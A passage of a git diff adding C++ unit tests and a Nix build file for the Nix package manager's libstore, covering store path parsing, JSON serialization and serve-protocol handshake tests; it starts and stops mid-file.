ASSERT_EQ(std::string { prefix } + expected.to_string(), str); +} + +TEST(ExtendedOutputsSpec, out_bin) { + auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse("foo^out,bin"); + ASSERT_EQ(prefix, "foo"); + ExtendedOutputsSpec expected = OutputsSpec::Names { "out", "bin" }; + ASSERT_EQ(extendedOutputsSpec, expected); + ASSERT_EQ(std::string { prefix } + expected.to_string(), "foo^bin,out"); +} + +TEST(ExtendedOutputsSpec, many_carrot) { + auto [prefix, extendedOutputsSpec] = ExtendedOutputsSpec::parse("foo^bar^out,bin"); + ASSERT_EQ(prefix, "foo^bar"); + ExtendedOutputsSpec expected = OutputsSpec::Names { "out", "bin" }; + ASSERT_EQ(extendedOutputsSpec, expected); + ASSERT_EQ(std::string { prefix } + expected.to_string(), "foo^bar^bin,out"); +} + + +#define TEST_JSON(TYPE, NAME, STR, VAL) \ + \ + TEST(TYPE, NAME ## _to_json) { \ + using nlohmann::literals::operator "" _json; \ + ASSERT_EQ( \ + STR ## _json, \ + ((nlohmann::json) TYPE { VAL })); \ + } \ + \ + TEST(TYPE, NAME ## _from_json) { \ + using nlohmann::literals::operator "" _json; \ + ASSERT_EQ( \ + TYPE { VAL }, \ + (STR ## _json).get()); \ + } + +TEST_JSON(OutputsSpec, all, R"(["*"])", OutputsSpec::All { }) +TEST_JSON(OutputsSpec, name, R"(["a"])", OutputsSpec::Names { "a" }) +TEST_JSON(OutputsSpec, names, R"(["a","b"])", (OutputsSpec::Names { "a", "b" })) + +TEST_JSON(ExtendedOutputsSpec, def, R"(null)", ExtendedOutputsSpec::Default { }) +TEST_JSON(ExtendedOutputsSpec, all, R"(["*"])", ExtendedOutputsSpec::Explicit { OutputsSpec::All { } }) +TEST_JSON(ExtendedOutputsSpec, name, R"(["a"])", ExtendedOutputsSpec::Explicit { OutputsSpec::Names { "a" } }) +TEST_JSON(ExtendedOutputsSpec, names, R"(["a","b"])", (ExtendedOutputsSpec::Explicit { OutputsSpec::Names { "a", "b" } })) + +#undef TEST_JSON + +#ifndef COVERAGE + +RC_GTEST_PROP( + OutputsSpec, + prop_round_rip, + (const OutputsSpec & o)) +{ + RC_ASSERT(o == OutputsSpec::parse(o.to_string())); +} + +#endif + +} diff --git a/tests/unit/libstore/package.nix b/tests/unit/libstore/package.nix new file mode 100644 index 000000000..7560a5b79 --- /dev/null +++ b/tests/unit/libstore/package.nix @@ -0,0 +1,110 @@ +{ lib +, buildPackages +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config + +, nix-store +, nix-store-c +, nix-store-test-support +, sqlite + +, rapidcheck +, gtest +, runCommand + +# Configuration Options + +, version +, filesetToSource +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-store-tests"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../../build-utils-meson + ./build-utils-meson + ../../../.version + ./.version + ./meson.build + # ./meson.options + (fileset.fileFilter (file: file.hasExt "cc") ./.) + (fileset.fileFilter (file: file.hasExt "hh") ./.) + ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + ]; + + buildInputs = [ + nix-store + nix-store-c + nix-store-test-support + sqlite + rapidcheck + gtest + ]; + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + ''; + + mesonFlags = [ + ]; + + env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) { + LDFLAGS = "-fuse-ld=gold"; + }; + + separateDebugInfo = !stdenv.hostPlatform.isStatic; + + hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; + + passthru = { + tests = { + run = let + # Some data is shared with the functional tests: they create it, + # we consume it. + data = filesetToSource { + root = ../..; + fileset = lib.fileset.unions [ + ./data + ../../functional/derivation + ]; + }; + in runCommand "${finalAttrs.pname}-run" { + meta.broken = !stdenv.hostPlatform.emulatorAvailable buildPackages; + } (lib.optionalString stdenv.hostPlatform.isWindows '' + export HOME="$PWD/home-dir" + mkdir -p "$HOME" + '' + '' + export _NIX_TEST_UNIT_DATA=${data + "/unit/libstore/data"} + ${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe finalAttrs.finalPackage} + touch $out + ''); + }; + }; + + meta = { + platforms = lib.platforms.unix ++ lib.platforms.windows; + mainProgram = finalAttrs.pname + stdenv.hostPlatform.extensions.executable; + }; + +}) diff --git a/tests/unit/libstore/path-info.cc b/tests/unit/libstore/path-info.cc new file mode 100644 index 000000000..9e9c6303d --- /dev/null +++ b/tests/unit/libstore/path-info.cc @@ -0,0 +1,101 @@ +#include +#include + +#include "path-info.hh" + +#include "tests/characterization.hh" +#include "tests/libstore.hh" + +namespace nix { + +using nlohmann::json; + +class PathInfoTest : public CharacterizationTest, public LibStoreTest +{ + Path unitTestData = getUnitTestData() + "/path-info"; + + Path goldenMaster(PathView testStem) const override { + return unitTestData + "/" + testStem + ".json"; + } +}; + +static UnkeyedValidPathInfo makeEmpty() +{ + return { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; +} + +static ValidPathInfo makeFullKeyed(const Store & store, bool includeImpureInfo) +{ + ValidPathInfo info = ValidPathInfo { + store, + "foo", + FixedOutputInfo { + .method = FileIngestionMethod::NixArchive, + .hash = hashString(HashAlgorithm::SHA256, "(...)"), + + .references = { + .others = { + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }, + .self = true, + }, + }, + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; + info.narSize = 34878; + if (includeImpureInfo) { + info.deriver = StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }; + info.registrationTime = 23423; + info.ultimate = true; + info.sigs = { "asdf", "qwer" }; + } + return info; +} +static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo) { + return makeFullKeyed(store, includeImpureInfo); +} + +#define JSON_TEST(STEM, OBJ, PURE) \ + TEST_F(PathInfoTest, PathInfo_ ## STEM ## _from_json) { \ + readTest(#STEM, [&](const auto & encoded_) { \ + auto encoded = json::parse(encoded_); \ + UnkeyedValidPathInfo got = UnkeyedValidPathInfo::fromJSON( \ + *store, \ + encoded); \ + auto expected = OBJ; \ + ASSERT_EQ(got, expected); \ + }); \ + } \ + \ + TEST_F(PathInfoTest, PathInfo_ ## STEM ## _to_json) { \ + writeTest(#STEM, [&]() -> json { \ + return OBJ.toJSON(*store, PURE, HashFormat::SRI); \ + }, [](const auto & file) { \ + return json::parse(readFile(file)); \ + }, [](const auto & file, const auto & got) { \ + return writeFile(file, got.dump(2) + "\n"); \ + }); \ + } + +JSON_TEST(empty_pure, makeEmpty(), false) +JSON_TEST(empty_impure, makeEmpty(), true) + +JSON_TEST(pure, makeFull(*store, false), false) +JSON_TEST(impure, makeFull(*store, true), true) + +TEST_F(PathInfoTest, PathInfo_full_shortRefs) { + ValidPathInfo it = makeFullKeyed(*store, true); + // it.references = unkeyed.references; + auto refs = it.shortRefs(); + ASSERT_EQ(refs.size(), 2); + ASSERT_EQ(*refs.begin(), "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar"); + ASSERT_EQ(*++refs.begin(), "n5wkd9frr45pa74if5gpz9j7mifg27fh-foo"); +} + +} // namespace nix diff --git a/tests/unit/libstore/path.cc b/tests/unit/libstore/path.cc new file mode 100644 index 000000000..c4c055abf --- /dev/null +++ b/tests/unit/libstore/path.cc @@ -0,0 +1,167 @@ +#include + +#include +#include +#include + +#include "path-regex.hh" +#include "store-api.hh" + +#include "tests/hash.hh" +#include "tests/libstore.hh" +#include "tests/path.hh" + +namespace nix { + +#define STORE_DIR "/nix/store/" +#define HASH_PART "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q" + +class StorePathTest : public LibStoreTest +{ +}; + +static std::regex nameRegex { std::string { nameRegexStr } }; + +#define TEST_DONT_PARSE(NAME, STR) \ + TEST_F(StorePathTest, bad_ ## NAME) { \ + std::string_view str = \ + STORE_DIR HASH_PART "-" STR; \ + /* ASSERT_THROW generates a duplicate goto label */ \ + /* A lambda isolates those labels. */ \ + [&](){ \ + ASSERT_THROW( \ + store->parseStorePath(str), \ + BadStorePath); \ + }(); \ + std::string name { STR }; \ + [&](){ \ + ASSERT_THROW( \ + nix::checkName(name), \ + BadStorePathName); \ + }(); \ + EXPECT_FALSE(std::regex_match(name, nameRegex)); \ + } + +TEST_DONT_PARSE(empty, "") +TEST_DONT_PARSE(garbage, "&*()") +TEST_DONT_PARSE(double_star, "**") +TEST_DONT_PARSE(star_first, "*,foo") +TEST_DONT_PARSE(star_second, "foo,*") +TEST_DONT_PARSE(bang, "foo!o") +TEST_DONT_PARSE(dot, ".") +TEST_DONT_PARSE(dot_dot, "..") +TEST_DONT_PARSE(dot_dot_dash, "..-1") +TEST_DONT_PARSE(dot_dash, ".-1") +TEST_DONT_PARSE(dot_dot_dash_a, "..-a") +TEST_DONT_PARSE(dot_dash_a, ".-a") + +#undef TEST_DONT_PARSE + +#define TEST_DO_PARSE(NAME, STR) \ + TEST_F(StorePathTest, good_ ## NAME) { \ + std::string_view str = \ + STORE_DIR HASH_PART "-" STR; \ + auto p = store->parseStorePath(str); \ + std::string name { p.name() }; \ + EXPECT_EQ(p.name(), STR); \ + EXPECT_TRUE(std::regex_match(name, nameRegex)); \ + } + +// 0-9 a-z A-Z + - . _ ? = + +TEST_DO_PARSE(numbers, "02345") +TEST_DO_PARSE(lower_case, "foo") +TEST_DO_PARSE(upper_case, "FOO") +TEST_DO_PARSE(plus, "foo+bar") +TEST_DO_PARSE(dash, "foo-dev") +TEST_DO_PARSE(underscore, "foo_bar") +TEST_DO_PARSE(period, "foo.txt") +TEST_DO_PARSE(question_mark, "foo?why") +TEST_DO_PARSE(equals_sign, "foo=foo") +TEST_DO_PARSE(dotfile, ".gitignore") +TEST_DO_PARSE(triple_dot_a, "...a") +TEST_DO_PARSE(triple_dot_1, "...1") +TEST_DO_PARSE(triple_dot_dash, "...-") +TEST_DO_PARSE(triple_dot, "...") + +#undef TEST_DO_PARSE + +#ifndef COVERAGE + +RC_GTEST_FIXTURE_PROP( + StorePathTest, + prop_regex_accept, + (const StorePath & p)) +{ + RC_ASSERT(std::regex_match(std::string { p.name() }, nameRegex)); +} + +RC_GTEST_FIXTURE_PROP( + StorePathTest, + prop_round_rip, + (const StorePath & p)) +{ + RC_ASSERT(p == store->parseStorePath(store->printStorePath(p))); +} + + +RC_GTEST_FIXTURE_PROP( + StorePathTest, + prop_check_regex_eq_parse, + ()) +{ + static auto nameFuzzer = + rc::gen::container( + rc::gen::oneOf( + // alphanum, repeated to weigh heavier + rc::gen::oneOf( + rc::gen::inRange('0', '9'), + rc::gen::inRange('a', 'z'), + rc::gen::inRange('A', 'Z') + ), + // valid symbols + rc::gen::oneOf( + rc::gen::just('+'), + rc::gen::just('-'), + rc::gen::just('.'), + rc::gen::just('_'), + rc::gen::just('?'), + rc::gen::just('=') + ), + // symbols for scary .- and ..- cases, repeated for weight + rc::gen::just('.'), rc::gen::just('.'), + rc::gen::just('.'), rc::gen::just('.'), + rc::gen::just('-'), rc::gen::just('-'), + // ascii symbol ranges + rc::gen::oneOf( + rc::gen::inRange(' ', '/'), + rc::gen::inRange(':', '@'), + rc::gen::inRange('[', '`'), + rc::gen::inRange('{', '~') + ), + // typical whitespace + rc::gen::oneOf( + rc::gen::just(' '), + rc::gen::just('\t'), + rc::gen::just('\n'), + rc::gen::just('\r') + ), + // some chance of control codes, non-ascii or other garbage we missed + rc::gen::inRange('\0', '\xff') + )); + + auto name = *nameFuzzer; + + std::string path = store->storeDir + "/575s52sh487i0ylmbs9pvi606ljdszr0-" + name; + bool parsed = false; + try { + store->parseStorePath(path); + parsed = true; + } catch (const BadStorePath &) { + } + RC_ASSERT(parsed == std::regex_match(std::string { name }, nameRegex)); +} + +#endif + +} diff --git a/src/libstore/tests/references.cc b/tests/unit/libstore/references.cc similarity index 100% rename from src/libstore/tests/references.cc rename to tests/unit/libstore/references.cc diff --git a/tests/unit/libstore/s3-binary-cache-store.cc b/tests/unit/libstore/s3-binary-cache-store.cc new file mode 100644 index 000000000..7aa5f2f2c --- /dev/null +++ b/tests/unit/libstore/s3-binary-cache-store.cc @@ -0,0 +1,18 @@ +#if ENABLE_S3 + +# include + +# include "s3-binary-cache-store.hh" + +namespace nix { + +TEST(S3BinaryCacheStore, constructConfig) +{ + S3BinaryCacheStoreConfig config{"s3", "foobar", {}}; + + EXPECT_EQ(config.bucketName, "foobar"); +} + +} // namespace nix + +#endif diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc new file mode 100644 index 000000000..2505c5a9a --- /dev/null +++ b/tests/unit/libstore/serve-protocol.cc @@ -0,0 +1,516 @@ +#include +#include + +#include +#include + +#include "serve-protocol.hh" +#include "serve-protocol-impl.hh" +#include "serve-protocol-connection.hh" +#include "build-result.hh" +#include "file-descriptor.hh" +#include "tests/protocol.hh" +#include "tests/characterization.hh" + +namespace nix { + +const char serveProtoDir[] = "serve-protocol"; + +struct ServeProtoTest : VersionedProtoTest +{ + /** + * For serializers that don't care about the minimum version, we + * used the oldest one: 1.0. + */ + ServeProto::Version defaultVersion = 2 << 8 | 0; +}; + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + string, + "string", + defaultVersion, + (std::tuple { + "", + "hi", + "white rabbit", + "大白兔", + "oh no \0\0\0 what was that!", + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + storePath, + "store-path", + defaultVersion, + (std::tuple { + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + contentAddress, + "content-address", + defaultVersion, + (std::tuple { + ContentAddress { + .method = ContentAddressMethod::Raw::Text, + .hash = hashString(HashAlgorithm::SHA256, "Derive(...)"), + }, + ContentAddress { + .method = ContentAddressMethod::Raw::Flat, + .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), + }, + ContentAddress { + .method = ContentAddressMethod::Raw::NixArchive, + .hash = hashString(HashAlgorithm::SHA256, "(...)"), + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + drvOutput, + "drv-output", + defaultVersion, + (std::tuple { + { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + realisation, + "realisation", + defaultVersion, + (std::tuple { + Realisation { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + .signatures = { "asdf", "qwer" }, + }, + Realisation { + .id = { + .drvHash = Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + .outputName = "baz", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + .signatures = { "asdf", "qwer" }, + .dependentRealisations = { + { + DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "quux", + }, + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + buildResult_2_2, + "build-result-2.2", + 2 << 8 | 2, + ({ + using namespace std::literals::chrono_literals; + std::tuple t { + BuildResult { + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::Built, + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + buildResult_2_3, + "build-result-2.3", + 2 << 8 | 3, + ({ + using namespace std::literals::chrono_literals; + std::tuple t { + BuildResult { + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + .timesBuilt = 3, + .isNonDeterministic = true, + .startTime = 30, + .stopTime = 50, + }, + BuildResult { + .status = BuildResult::Built, + .startTime = 30, + .stopTime = 50, + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + buildResult_2_6, + "build-result-2.6", + 2 << 8 | 6, + ({ + using namespace std::literals::chrono_literals; + std::tuple t { + BuildResult { + .status = BuildResult::OutputRejected, + .errorMsg = "no idea why", + }, + BuildResult { + .status = BuildResult::NotDeterministic, + .errorMsg = "no idea why", + .timesBuilt = 3, + .isNonDeterministic = true, + .startTime = 30, + .stopTime = 50, + }, + BuildResult { + .status = BuildResult::Built, + .timesBuilt = 1, + .builtOutputs = { + { + "foo", + { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "foo", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo" }, + }, + }, + { + "bar", + { + .id = DrvOutput { + .drvHash = Hash::parseSRI("sha256-b4afnqKCO9oWXgYHb9DeQ2berSwOjS27rSd9TxXDc/U="), + .outputName = "bar", + }, + .outPath = StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar" }, + }, + }, + }, + .startTime = 30, + .stopTime = 50, +#if 0 + // These fields are not yet serialized. + // FIXME Include in next version of protocol or document + // why they are skipped. + .cpuUser = std::chrono::milliseconds(500s), + .cpuSystem = std::chrono::milliseconds(604s), +#endif + }, + }; + t; + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + unkeyedValidPathInfo_2_3, + "unkeyed-valid-path-info-2.3", + 2 << 8 | 3, + (std::tuple { + ({ + UnkeyedValidPathInfo info { Hash::dummy }; + info.narSize = 34878; + info; + }), + ({ + UnkeyedValidPathInfo info { Hash::dummy }; + info.deriver = StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }; + info.references = { + StorePath { + "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo.drv", + }, + }; + info.narSize = 34878; + info; + }), + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + unkeyedValidPathInfo_2_4, + "unkeyed-valid-path-info-2.4", + 2 << 8 | 4, + (std::tuple { + ({ + UnkeyedValidPathInfo info { + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; + info.deriver = StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }; + info.references = { + StorePath { + "g1w7hyyyy1w7hy3qg1w7hy3qgqqqqy3q-foo.drv", + }, + }; + info.narSize = 34878; + info; + }), + ({ + ValidPathInfo info { + *LibStoreTest::store, + "foo", + FixedOutputInfo { + .method = FileIngestionMethod::NixArchive, + .hash = hashString(HashAlgorithm::SHA256, "(...)"), + .references = { + .others = { + StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar", + }, + }, + .self = true, + }, + }, + Hash::parseSRI("sha256-FePFYIlMuycIXPZbWi7LGEiMmZSX9FMbaQenWBzm1Sc="), + }; + info.deriver = StorePath { + "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar.drv", + }; + info.narSize = 34878; + info.sigs = { + "fake-sig-1", + "fake-sig-2", + }, + static_cast(std::move(info)); + }), + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + build_options_2_1, + "build-options-2.1", + 2 << 8 | 1, + (ServeProto::BuildOptions { + .maxSilentTime = 5, + .buildTimeout = 6, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + build_options_2_2, + "build-options-2.2", + 2 << 8 | 2, + (ServeProto::BuildOptions { + .maxSilentTime = 5, + .buildTimeout = 6, + .maxLogSize = 7, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + build_options_2_3, + "build-options-2.3", + 2 << 8 | 3, + (ServeProto::BuildOptions { + .maxSilentTime = 5, + .buildTimeout = 6, + .maxLogSize = 7, + .nrRepeats = 8, + .enforceDeterminism = true, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + build_options_2_7, + "build-options-2.7", + 2 << 8 | 7, + (ServeProto::BuildOptions { + .maxSilentTime = 5, + .buildTimeout = 6, + .maxLogSize = 7, + .nrRepeats = 8, + .enforceDeterminism = false, + .keepFailed = true, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + vector, + "vector", + defaultVersion, + (std::tuple, std::vector, std::vector, std::vector>> { + { }, + { "" }, + { "", "foo", "bar" }, + { {}, { "" }, { "", "1", "2" } }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + set, + "set", + defaultVersion, + (std::tuple, std::set, std::set, std::set>> { + { }, + { "" }, + { "", "foo", "bar" }, + { {}, { "" }, { "", "1", "2" } }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + optionalStorePath, + "optional-store-path", + defaultVersion, + (std::tuple, std::optional> { + std::nullopt, + std::optional { + StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + ServeProtoTest, + optionalContentAddress, + "optional-content-address", + defaultVersion, + (std::tuple, std::optional> { + std::nullopt, + std::optional { + ContentAddress { + .method = ContentAddressMethod::Raw::Flat, + .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), + }, + }, + })) + +TEST_F(ServeProtoTest, handshake_log) +{ + CharacterizationTest::writeTest("handshake-to-client", [&]() -> std::string { + StringSink toClientLog; + + Pipe toClient, toServer; + toClient.create(); + toServer.create(); + + ServeProto::Version clientResult; + + auto thread = std::thread([&]() { + FdSink out { toServer.writeSide.get() }; + FdSource in0 { toClient.readSide.get() }; + TeeSource in { in0, toClientLog }; + clientResult = ServeProto::BasicClientConnection::handshake( + out, in, defaultVersion, "blah"); + }); + + { + FdSink out { toClient.writeSide.get() }; + FdSource in { toServer.readSide.get() }; + ServeProto::BasicServerConnection::handshake( + out, in, defaultVersion); + }; + + thread.join(); + + return std::move(toClientLog.s); + }); +} + +/// Has to be a `BufferedSink` for handshake. +struct NullBufferedSink : BufferedSink { + void writeUnbuffered(std::string_view data) override { } +}; + +TEST_F(ServeProtoTest, handshake_client_replay) +{ + CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) { + NullBufferedSink nullSink; + + StringSource in { toClientLog }; + auto clientResult = ServeProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, "blah"); + + EXPECT_EQ(clientResult, defaultVersion); + }); +} + +TEST_F(ServeProtoTest, handshake_client_truncated_replay_throws) +{ + CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) { + for (size_t len = 0; len < toClientLog.size(); ++len) { + NullBufferedSink nullSink; + StringSource in { + // truncate + toClientLog.substr(0, len) + }; + if (len < 8) { + EXPECT_THROW( + ServeProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, "blah"), + EndOfFile); + } else { + // Not sure why cannot keep on checking for `EndOfFile`. + EXPECT_THROW( + ServeProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, "blah"), + Error); + } + } + }); +} + +TEST_F(ServeProtoTest, handshake_client_corrupted_throws) +{ + CharacterizationTest::readTest("handshake-to-client", [&](const std::string toClientLog) { + for (size_t idx = 0; idx < toClientLog.size(); ++idx) { + // corrupt a copy + std::string toClientLogCorrupt = toClientLog; + toClientLogCorrupt[idx] *= 4; + ++toClientLogCorrupt[idx]; + + NullBufferedSink nullSink; + StringSource in { toClientLogCorrupt }; + + if (idx < 4 || idx == 9) { + // magic bytes don't match + EXPECT_THROW( + ServeProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, "blah"), + Error); + } else if (idx < 8 || idx >= 12) { + // Number out of bounds + EXPECT_THROW( + ServeProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, "blah"), + SerialisationError); + } else { + auto ver = ServeProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, "blah"); + // `std::min` of this and the other version saves us + EXPECT_EQ(ver, defaultVersion); + } + } + }); +} + +} diff --git a/tests/unit/libstore/ssh-store.cc b/tests/unit/libstore/ssh-store.cc new file mode 100644 index 000000000..b853a5f1f --- /dev/null +++ b/tests/unit/libstore/ssh-store.cc @@ -0,0 +1,55 @@ +// FIXME: Odd failures for templates that are causing the PR to break +// for now with discussion with @Ericson2314 to comment out. +#if 0 +# include + +# include "ssh-store.hh" + +namespace nix { + +TEST(SSHStore, constructConfig) +{ + SSHStoreConfig config{ + "ssh", + "localhost", + StoreConfig::Params{ + { + "remote-program", + // TODO #11106, no more split on space + "foo bar", + }, + }, + }; + + EXPECT_EQ( + config.remoteProgram.get(), + (Strings{ + "foo", + "bar", + })); +} + +TEST(MountedSSHStore, constructConfig) +{ + MountedSSHStoreConfig config{ + "mounted-ssh", + "localhost", + StoreConfig::Params{ + { + "remote-program", + // TODO #11106, no more split on space + "foo bar", + }, + }, + }; + + EXPECT_EQ( + config.remoteProgram.get(), + (Strings{ + "foo", + "bar", + })); +} + +} +#endif diff --git a/tests/unit/libstore/store-reference.cc b/tests/unit/libstore/store-reference.cc new file mode 100644 index 000000000..052cd7bed --- /dev/null +++ b/tests/unit/libstore/store-reference.cc @@ -0,0 +1,123 @@ +#include +#include + +#include "file-system.hh" +#include "store-reference.hh" + +#include "tests/characterization.hh" +#include "tests/libstore.hh" + +namespace nix { + +using nlohmann::json; + +class StoreReferenceTest : public CharacterizationTest, public LibStoreTest +{ + Path unitTestData = getUnitTestData() + "/store-reference"; + + Path goldenMaster(PathView testStem) const override + { + return unitTestData + "/" + testStem + ".txt"; + } +}; + +#define URI_TEST_READ(STEM, OBJ) \ + TEST_F(StoreReferenceTest, PathInfo_##STEM##_from_uri) \ + { \ + readTest(#STEM, ([&](const auto & encoded) { \ + StoreReference expected = OBJ; \ + auto got = StoreReference::parse(encoded); \ + ASSERT_EQ(got, expected); \ + })); \ + } + +#define URI_TEST_WRITE(STEM, OBJ) \ + TEST_F(StoreReferenceTest, PathInfo_##STEM##_to_uri) \ + { \ + writeTest( \ + #STEM, \ + [&]() -> StoreReference { return OBJ; }, \ + [](const auto & file) { return StoreReference::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.render()); }); \ + } + +#define URI_TEST(STEM, OBJ) \ + URI_TEST_READ(STEM, OBJ) \ + URI_TEST_WRITE(STEM, OBJ) + +URI_TEST( + auto, + (StoreReference{ + .variant = StoreReference::Auto{}, + .params = {}, + })) + +URI_TEST( + auto_param, + (StoreReference{ + .variant = StoreReference::Auto{}, + .params = + { + {"root", "/foo/bar/baz"}, + }, + })) + +static StoreReference localExample_1{ + .variant = + StoreReference::Specified{ + .scheme = "local", + }, + .params = + { + {"root", "/foo/bar/baz"}, + }, +}; + +static StoreReference localExample_2{ + .variant = + StoreReference::Specified{ + .scheme = "local", + .authority = "/foo/bar/baz", + }, + .params = + { + {"trusted", "true"}, + }, +}; + +URI_TEST(local_1, localExample_1) + +URI_TEST(local_2, localExample_2) + +URI_TEST_READ(local_shorthand_1, localExample_1) + +URI_TEST_READ(local_shorthand_2, localExample_2) + +static StoreReference unixExample{ + .variant = + StoreReference::Specified{ + .scheme = "unix", + }, + .params = + { + {"max-connections", "7"}, + {"trusted", "true"}, + }, +}; + +URI_TEST(unix, unixExample) + +URI_TEST_READ(unix_shorthand, unixExample) + +URI_TEST( + ssh, + (StoreReference{ + .variant = + StoreReference::Specified{ + .scheme = "ssh", + .authority = "localhost", + }, + .params = {}, + })) + +} diff --git a/tests/unit/libstore/uds-remote-store.cc b/tests/unit/libstore/uds-remote-store.cc new file mode 100644 index 000000000..5ccb20871 --- /dev/null +++ b/tests/unit/libstore/uds-remote-store.cc @@ -0,0 +1,23 @@ +// FIXME: Odd failures for templates that are causing the PR to break +// for now with discussion with @Ericson2314 to comment out. +#if 0 +# include + +# include "uds-remote-store.hh" + +namespace nix { + +TEST(UDSRemoteStore, constructConfig) +{ + UDSRemoteStoreConfig config{"unix", "/tmp/socket", {}}; + + EXPECT_EQ(config.path, "/tmp/socket"); +} + +TEST(UDSRemoteStore, constructConfigWrongScheme) +{ + EXPECT_THROW(UDSRemoteStoreConfig("http", "/tmp/socket", {}), UsageError); +} + +} // namespace nix +#endif diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc new file mode 100644 index 000000000..bbea9ed75 --- /dev/null +++ b/tests/unit/libstore/worker-protocol.cc @@ -0,0 +1,782 @@ +#include +#include + +#include +#include + +#include "worker-protocol.hh" +#include "worker-protocol-connection.hh" +#include "worker-protocol-impl.hh" +#include "derived-path.hh" +#include "build-result.hh" +#include "tests/protocol.hh" +#include "tests/characterization.hh" + +namespace nix { + +const char 